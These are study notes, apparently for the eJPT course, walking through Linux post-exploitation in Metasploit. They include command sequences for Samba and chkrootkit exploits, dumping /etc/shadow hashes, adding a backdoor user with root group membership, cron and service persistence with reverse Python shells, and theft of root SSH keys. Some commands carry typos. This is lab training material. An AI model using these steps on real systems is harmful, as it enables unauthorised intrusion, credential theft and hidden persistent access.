> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/the-metasploit-framework-msf/exploitation/linux-post-exploitation.md).

# Linux Post Exploitation

### Linux Post Exploitation Modules

* The MSF provides us with various post exploitation modules for both Windows and Linux.
* We can utilize these post exploitation modules to enumerate information about the Linux system we currently have access to:
  * Enumerate system configuration
  * Enumerate environment variables
  * Enumerate network configuration
  * VM check
  * Enumerate user history

DEMO

```
msfconsole -q 
> setg RHOSTS <IP>
> db_nmap -sV <IP>
> search type: linux samba
> use exploit/linux/samba/is_known_pipename
> show options
> exploit

>>>> background 
> session
> sessions -u 1 [upgrade the shell to meterpreter]
> sessions 2
>>>> sysinfo
>>>> getuid
>>>> shell

bash# whoami
# cat /etc/passwd
# groups
# cat /etc/*issue
# uname -a 
# ifconfig
# ip a s
# ps aux
# env

> sessions -u 1 
> session 3 
> search enum_configs
> show options
> set SESSION 1
> run 
> loot
> search env platform: linux
> use post/multi/gather/env
> set session <3>
> run 
> search enum_network
> use post/linux/gather/enum_network
> show options
> set SESSION 3
> run 
> loot
> search enum_protections
> use post/linux/gather/enum_protection
> info
> set SESSION 3
> run
> notes []
> search enum_system
> use post/linux/gather/enum_system
> set SESSION 3
> run
> loot
> search checkcontainer
> use post/linux/gather/checkcontainer
> set SESSION 3
> run
> search checkvm
> use post/linux/gather/checkvm
> set SESSION 3
> run
> search enum_users_history
> use post/linux/gather/enum_users_history
> set SESSION 3
> run
```

***

### Linux Privilege Escalation: Exploiting A Vulnerable Program

* The privilege escalation techniques we can utilize will depend on the version of the Linux kernel running on the target system as well as the distribution release version.
* MSF offers very little in regards to Linux Kernel exploit modules, however, in some cases, there may be an exploit module that can be utilized to exploit a vulnerable service or program in order to elevate our privileges.

DEMO

```
msfconsole -q
> setg RHOSTS <IP>
> db_nmap -sV <IP>
> search ssh_login
> use auxiliary/scanner/ssh/ssh_login
> set USERNAME jackie
> set PASSWORD password
> exploit
> session 
> session 1

# pwd 
# /bin/bash -i
# whoami
# cat /etc/*issue
# uname -r

> sessions -u 1
> sessions 
> session 2
>>>> sysinfo
>>>> getuid
>>>> shell

# cat /etc/passwd
# cat /bin/check-down
# chkrootkit --help
# chrrootkit -v 
# ctrl +z 
> search chkrootkit
> use exploit/unix/linux/chkrootkit
> set SESSION 
> set CHKROOTKIT /bin/chrootkit
> set LHOST <IP>
> sessions
> exploit

# /bin/bash -i 
# whoami
# 
```

***

### Dumping Hashes with Hashdump

* We can dump Linux user hashes with the hashdump post exploitation module.
* Linux password hashes are stored in the /etc/shadow file and con only be accessed by the root user or a user with root privileges.
* The hashdump module can be used to dump the user account hashes from the /etc/shadow ile and can also be used to unshadow the hashes for password cracking with John the Ripper.

DEMO

```
msfconsole -q
> setg RHOSTs <IP>
> db_nmap -sV <IP>
> search samba type: exploit
> use exploit/linux/samba/is_known_pipename
> exploit
> sessions 
> sessions -u 1
> sessions 2
>>>> hashdump 
>>>> sysinfo
>>>> getuid
>>>> exit
>>>> sessions -u 1
> search hashdump
> use post/linux/gather/hashdump
> set SESSION 3
> run 
> loot
> sessions 3
> shell 

# /bin/bash -i
# passwd root
# useradd -m alexis -s /bin/bash

> background
> use post/linux/gather/hashdump 
> set session 3
> run
> loot
```

***

### Establishing Persistence on Linux&#x20;

* Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access.
* Gaining an initial foothold is not enough, you need to setup and maintain persistent access to your targets.
* The persistence techniques we can utilize will depend on the target configuration.
* We can utilize various post exploitation persistence modules to ensure that we always have access to the target system.

DEMO

```
msfconsole -q
> setg RHOST <IP>
> db_nmap -sV <IP>
> search ssh_login
> use auxiliary/scanner/ssh/ssh_login
> set USERNAME jackie
> set Password password
> exploit
> sessions
> sessions -u 1
> search chkrootkit
> use exploit/unix/local/chrootkit
> set LHOST <IP>
> set sesseion 2
> exploit

# cat flag

> sessions -u 3 
> sessions 4
>>>> shell

# whoami
# /bin/bash -i 
# cat /etc/passwd
# useradd -m ftp -s /bin/bash
# passwd ftp
# cat /etc/passwd
# groups root
# usermod -aG root ftp
# groups root
# usermod -u <userID> ftp
# cat /etc/passwd

> search persistence platform: linux
> use exploit/linux/local/apt_package_manageer_persistence
> use exploit/linux/local/cron_persistence
> show options
> set Session 4
> exploit
> set LPORT 4422
> set LHOST eth1
> exploit
> use exploit/linux/local/service_persistence
> show options
> set SESSION 4
> exploit
> set payload cmd/unix/reverse_python
> set LHOST eth1
> set LPORT 4222
> exploit
> info
> set target 3
> exploit
> set target 4
> exploit
> use post/linux/manage/sshkey_persistence
> set CREATESSHFOLDER true
> set SESSION 4
> info 
> exploit
> loot [copy root ssh key]
> exit -y
```

```
vim ssh_key
chmod 0400 ssh_key
ssh -i ssh_key root@<IP>
ssh -i ssh_key ftp@<IP>
```